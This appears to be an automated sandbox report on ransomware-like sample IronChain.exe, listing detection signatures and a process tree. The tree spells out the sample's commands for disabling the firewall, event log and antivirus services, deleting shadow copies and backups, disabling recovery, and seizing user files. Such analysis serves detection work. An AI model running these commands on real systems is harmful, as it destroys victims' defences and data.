Resubmissions
10/09/2026, 07:04
260910-hv5kxsswdx810/09/2026, 07:04
260910-hv1xqsswdt10/09/2026, 06:21
260910-g4tpcahl3110Analysis
- user interaction
yes - max time kernel
895s - max time network
394s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
10/09/2026, 06:21
General
- Target IronChain.exe
- Size 9.1MB
- Sample260910-g4tpcahl31
- SHA256 ec054644d6fc1e1156d65be834df720e2fc68aa611d4f653954b38bcfa56d980
Score
8/10
Malware Config
Signatures
- Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
- Modifies Windows Firewall 2 TTPs 3 IoCs
- Possible privilege escalation attempt 64 IoCs
- Disables service(s) 3 TTPs
- Loads dropped DLL 63 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Stops running service(s) 4 TTPs
- Unexpected DNS network traffic destination 28 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 4 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 22 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Kills process with taskkill 64 IoCs
- Opens file in notepad (likely ransom note) 2 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "IronChain_SYSTEM"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\System32\svchost_killer.bat3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im avp.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im ksde.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im kavsvc.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im avpui.exe4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im regedit.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im cmd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im msconfig.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im procexp.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im procexp64.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im services.msc3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mmc.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im control.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im WindowsSecurity.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im powershell.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pwsh.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im taskkill.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im wmic.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im diskpart.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im resmon.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im perfmon.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im Autoruns.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im Autoruns64.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gpedit.msc3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im eventvwr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im eventvwr.msc3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im compmgmt.msc3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im devmgmt.msc3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im diskmgmt.msc3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im certmgr.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im secpol.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im lusrmgr.msc3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im taskkill.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im wmic.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVP3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config KAV start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete KAV3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config BDSS start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete BDSS3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete Bitdefender3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Antivirus"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Service"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVG start= disabled3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVG3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config DrWeb start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete DrWeb3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config wscsvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete wscsvc3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Sense start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete Sense3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WdNisSvc start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete WdNisSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MpKslDrv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete MpKslDrv3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete NisSrv3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config EventLog start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config swprv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete swprv3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IronChain.exe""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc create InchainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "Inchain Security Component""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc description InchainSecurity "Trusted security module""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc start InchainSecurity"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc failure InchainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc critical InchainSecurity"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEYOLOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEYOLOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe C:\Users\Admin\Desktop\IronChain.hta3⤵
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /reset"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Administrators""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Admin""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Authenticated Users""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /grant "Users:RX""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d"3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "powershell -Command "(New-Object -COMObject Shell.Application).NameSpace(17).ParseName('E')).InvokeVerb('Eject')""3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "net use \\127.127.86.46\IPC$ /user:Administrator "3⤵
-
-
C:\Windows\SYSTEM32\route.exeroute print 0.0.0.03⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\BlockConnect.docx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\BlockConnect.docx.Chained3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CloseImport.mht.Chained3⤵
-
-
C:\Windows\SYSTEM32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "net use \\127.127.86.46\IPC$ /delete /y"3⤵
- Indicator Removal: Network Share Connection Removal
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CloseWrite.docx.Chained3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CompleteDisable.tif3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\CompleteDisable.tif.Chained3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConvertFromSave.ps13⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConvertFromSave.ps1.Chained3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConvertToSync.mov3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ConvertToSync.mov.Chained3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\desktop.ini.Chained3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\DisconnectJoin.eprtx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\DisconnectJoin.eprtx.Chained3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\DismountShow.sys3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\EditNew.ps13⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\EnablePublish.mov3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ExitLock.tiff3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\GetRemove.rm3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\GroupFind.i643⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\InitializeSuspend.au33⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\BlockConnect.docx /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\LockGet.pcx3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\BlockConnect.docx.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ResetPing.mpeg33⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ProtectReceive.wmv3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ResizeConnect.xlsx3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CloseImport.mht.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CompleteDisable.tif /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CloseWrite.docx.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConvertFromSave.ps1.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\CompleteDisable.tif.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConvertFromSave.ps1 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConvertToSync.mov.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ConvertToSync.mov /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\DisconnectJoin.eprtx.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\DisconnectJoin.eprtx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\desktop.ini.Chained /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\DismountShow.sys /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ExitLock.tiff /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\EnablePublish.mov /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ResolveConvertTo.tif3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\GroupFind.i64 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\GetRemove.rm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\SendImport.wdp3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\EditNew.ps1 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ResizeConnect.xlsx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ResetPing.mpeg3 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ProtectReceive.wmv /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\ShowInvoke.cmd3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\UpdateUnblock.odt3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Desktop\WriteClose.vssx3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\SendImport.wdp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\BlockGet.cfg3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertFromHide.tiff3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertToClose.MOD3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\ConvertToRequest.wmv3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ResolveConvertTo.tif /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\CopyUpdate.iso3⤵
-
-
